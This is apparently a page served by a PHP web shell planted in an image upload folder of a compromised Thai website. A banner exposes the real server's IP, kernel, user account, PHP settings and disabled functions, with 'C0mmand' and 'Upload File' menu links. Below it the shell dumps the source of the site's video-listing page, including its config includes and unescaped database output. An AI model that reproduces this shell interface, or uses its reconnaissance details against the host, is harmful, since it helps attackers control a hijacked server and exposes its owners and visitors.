|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/../../loginForm/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html>
<head>
<title><?php echo $config['web_title'];?></title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<?php include ("head-script.php");?>
</head>
<?php
include ("Connections/function-sys.php");
include ("Connections/db.class.php");
$db = new sql($config['db_server'], $config['db_username'], $config['db_password'], $config['db_name'], $config['db_language']);
?>
<body>
<?php
include ("nav-bar.php");
?>
<HR style="border:5px solid #FF6600 ;">
<section class="ftco-section ftco-no-pt ftco-no-pb contact-section">
<div class="container">
<div class="row d-flex align-items-stretch no-gutters" style="min-height: 450px;">
<?php
echo <<<DOC
<div class="col-sm-12">
<div style="text-align:center; font-size:20px;color: #FF6600; ">วิดีโอ</div><BR>
<div class="row">
DOC;
if(empty($_REQUEST[page])){
$page=1;
}else
{
$page=$_REQUEST[page];
}
$sql ="select youtube.* from youtube order by youtube.aID Desc ";
$row=$db->recCount($sql);
foreach ($db->dbSearch_Page($sql,$_REQUEST[page],$config[list4page]) as $i=>$arr) {
parse_str( parse_url( $arr[aYoutube], PHP_URL_QUERY ), $youtube_array_vars );
$img=$youtube_array_vars['v'];
if($i>0 and $i%3==0){
echo "</div>
<div class=\"row\">";
}
echo <<<DOC
<div class="col-md-6 col-lg-4 ftco-animate">
<div class="pricing-entry bg-light pb-4 text-center">
<a href="$arr[aYoutube]" target="youtube">
<img class="img-fluid" src="http://img.youtube.com/vi/$img/hqdefault.jpg"> </A>
<div class="px-4">
<p>$arr[aTitle]</p>
</div>
</div>
</div>
DOC;
}
echo " </div>";
if($row!=0){
echo " <div style=\"width:90%;text-align: left\">";
echo $db->show_Page3($sql,$row,$config[list4page],$page,$_SERVER[PHP_SELF],"a=");
echo "</div>";
}
?>
</div>
</div>
</section>
<?php include ("footer.php");?>
</body>
</html>